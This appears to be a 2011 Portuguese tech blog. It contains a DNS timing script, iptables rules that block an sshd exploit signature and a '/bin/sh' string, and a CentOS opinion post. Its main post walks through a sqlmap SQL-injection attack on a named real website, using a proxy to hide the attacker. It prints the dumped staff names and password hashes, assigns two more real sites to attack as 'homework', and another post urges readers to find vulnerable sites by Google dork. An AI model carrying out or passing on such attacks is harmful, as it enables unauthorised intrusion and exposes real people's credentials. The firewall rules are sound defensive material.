terça-feira, 31 de maio de 2011

Sanitise HTML

Digamos que você tenha um blog e precisa postar um pedaço de código em HTML, o grande problema é que determinados caracteres não serão interpretados corretamente, este script em php ira converter os caracteres >,<," e & para o seu correspondente em HTML. Acesse o site:

http://www.intelcomms.net/intelcomms.net/onlinetools/sanitiseHTML.php

Agora você vai poder postar seus códigos sem problema.
Use com moderação... :-)

quarta-feira, 11 de maio de 2011

Programação em Shell

Excelente introdução em programação em shell:
http://www.dsc.ufcg.edu.br/~jacques/cursos/progsh/progshell.htm

by Osvaldo

Tempo médio de resposta do DNS

Recentemente surgiu a necessidade de verificar durante um dia todo o tempo de resposta de um servidor DNS, para isso seguir alguns passos que estão descritos abaixo:

1) Script de requisição
Esse script fica em loop realizando uma requisição para o servidor DNS e grava também a hora da requisição

#!/bin/bash
for (( c=1; ; c++ ))
do
        date >> saida_dns_query.log
        dig @IP_SERVIDOR_DNS www.google.com | grep ";; Query time:" >> saida_dns_query.log
done
 
2) Filtrando o que interessa
O script acima gerou um arquivo chamado saida_dns_query.log, precisamos filtrar esse arquivo e pegar o valor de resposta, para isso execute o comando abaixo:

cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 > saida2.txt

Com isso o arquivo saida2.txt será criado com os valores de resposta.

3) Vamos tirar a média
Com o comando abaixo iremos contar o número de linhas para depois dividir pela soma dos valores, grave o valor da saída do comando:

cat saida2.txt | wc -l

Agora vamos somar os valores do arquivo saida_dns_query.log:

cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 | awk '{sum[$2]+= $1;}END{for (date in sum){print sum[date], date;}}'

Agora só é dividir este valor pelo primeiro, teremos a média de resposta do servidor DNS.

quarta-feira, 13 de abril de 2011

Iptables - barrando strings (texto plano ou hexa)

Com o iptables você pode usar uma string como ponto de checagem para permitir ou descartar um pacote, porém este método é pouco conhecido. Neste post vou mostrar usando um exemplo simples de como utilizar este módulo.

Abaixo segue uma regra do snort que tem uma assinatura de um exploit para o serviço SSHD:

"alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow"; flow:to_server,established; content:"|00 01|W|00 00 00 18|"; depth:7; content:"|FF FF FF FF 00 00|"; depth:14; offset:8; metadata:policy balanced-ips drop, policy security-ips drop; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; reference:nessus,10607; classtype:shellcode-detect; sid:1327; rev:10;)"

Nesta regra o que nos interessa é o "content" (que pode ser em texto plano ou em hexa), que permite com que uma regra seja criada e busque pelo valor do "content" no pacote, assim que esse valor for encontrado temos um hit. O Snort usa a função padrão Boyer-Moore para checar se o valor do pacote corresponde ao do "content", no iptables usaremos a opção "--algo bm" para chamar o padrão Boyer-Moore.

Nesta regra temos 2 contents, são eles:

content:"|00 01|W|00 00 00 18|"
content:"|FF FF FF FF 00 00|"

Como ficaria essa regra no iptables?

iptables -A INPUT -p tcp --dport 22 -m string --hex-string "|00 01|W|00 00 00 18|" --algo bm -m string --hex-string "|FF FF FF FF 00 00|" --algo bm -j DROP

Imagine que a regra do Snort não esteja em hexa e sim texto plano, veja o exemplo abaixo:

content:"/bin/sh"

Essa regra seria um pouco diferente:

iptables -A INPUT -p udp --dport 22 -m string --string "/bin/sh" --algo bm -j DROP

obs: uma boa opção seria usando o fwsnort.

Espero que tenham gostado.

by Osvaldo H Peixoto

terça-feira, 12 de abril de 2011

Isso é coisa para skiddie e não hacker

Recentemente estive conversando com alguns amigos sobre SQL injection, e no decorrer da conversa enfatizei que infelizmente apesar da divulgação da técnica e dos riscos e conseguencias que ela traz para as empresas há um descaso por muitas organizações sobre o assunto, tanto é que escrevi um post  chamado "Sites Vulneráveis - agora quero ver" em forma de protesto, leia o post e veja como é fácil descobrir sites vulneráveis a sqli e explorá-los.

Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.

De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.

1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:

inurl:.php?id=

Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:

http://www.comingsoon.net/news/movienews.php?id=67468'

Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".

2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:

http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm

3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla

4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h

Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468

[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0

Agora sabemos que é um Apache e um MySQL.

Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema

Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted

Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments             |
| bomments_filter_string       |
| category_online_count        |
| comments_disabled            |
| comments_filter              |
| hit_ip_table                 |
| hit_table                    |
| ip_filter                    |
| NEX_@ATEGORIES               |
| NEX_ARTICLE_CATEGORY_MAP     |
| NEX_ARTICLE_FIELD_CONTENT    |
| NEX_ARTICLE_IMAGE_MAP        |
| NEX_ARTICLES                 |
| NEX_BG                       |
| NEX_BOXOFFICERANK            |
| NEX_BOXOFFICEWEEK            |
| NEX_CATEGORY_FIELD_ORDER     |
| NEX_FEATUREBOX               |
| NEX_FIELDS                   |
| NEX_GENRE                    |
| NEX_IMAGES                   |
| NEX_TALENT                   |
| NEX_USER_CATEGORY_MAP        |
| NEX_USERS                    |
| release_date                 |
| sessions                     |
| t                            |
| talent_article_process_queue |
| test_table                   |
+------------------------------+

Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| access   | varchar(20)  |
| email    | varchar(255) |
| name     | varchar(255) |
| password | varchar(50)  |
| title    | varchar(255) |
| user_id  | int(11)      |
+----------+--------------+


#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[15 entries]

+---------------+------------------------------------+
| name          | password                           |
+---------------+------------------------------------+
| Aric          | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris         | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells   | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton  | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed            | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino          | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John          | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh          | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko         | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess       | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler   | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten   | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott         | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou   | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+

Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.

Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742

by Osvaldo H Peixoto

segunda-feira, 11 de abril de 2011

CentOS - O que você vai fazer?

Vamos esclarecer uma coisa, o CentOS é uma excelente distribuição de nível enterprise, ponto. Podemos dizer também que é um clone do RHEL, já que a distro é compilada a partir do código fonte da RHEL. Acho que até agora não contei nenhuma novidade, pelo menos eu espero.

Tenho acompanhado o crescimento do CentOS, e visto como vários projetos tem adotado essa distribuição para rodarem suas soluções, é o caso do Trixbox e outros.
Estive visitando alguns blogs e notei uma quantidade muito grande de posts falando sobre os atuais problemas que o CentOS esta passando com sua comunidade e adeptos. Segue abaixo dois posts que achei super interessante:


Soluções parecidas com o CentOS:


Tire suas conclusões, mas primeiro é preciso analisar.
Osvaldo H Peixoto


domingo, 10 de abril de 2011

Sites Vulneráveis - agora quero ver

Infelizmente tem gente que só aprende apanhando, se não é o seu caso então você não bate na regra. Bom, vamos deixar de papo furado e ser bem direto. A pior coisa para um Administrador preocupado com Segurança em TI é encontrar uma falha de segurança em um servidor alheio, alertar os responsáveis e no final descobrir que eles não estão nem ai pra isso, ou seja, security doesn´t metter.

Faça um teste, leia o meu post “SQL na prática” depois use o Google dork

inurl:.php?id=

para encontrar alguns sites em PHP e faça como você aprendeu no post, não se esqueça de usar Proxy. Digamos que agora você tem uma pequena lista de sites vulneráveis, use sua “cabeça” ache o email dos responsáveis e notifique os mesmos, agora é só esperar pelo retorno..... AHHHH.... que sono... acho que vai demorar essa espera, pelo menos eu não estou tendo este retorno. O pior de tudo é que depois de meses o site continua com a mesma vulnerabilidade, os responsáveis nem mesmo corrigiram o bug.

Desta vez vou jogar um pouco mais pesado, só um pouco. Quer saber como? Acesse a minha nova página que chamei de SDM (security doesn´t metter) e veja as novidades... até a próxima.

Osvaldo H Peixoto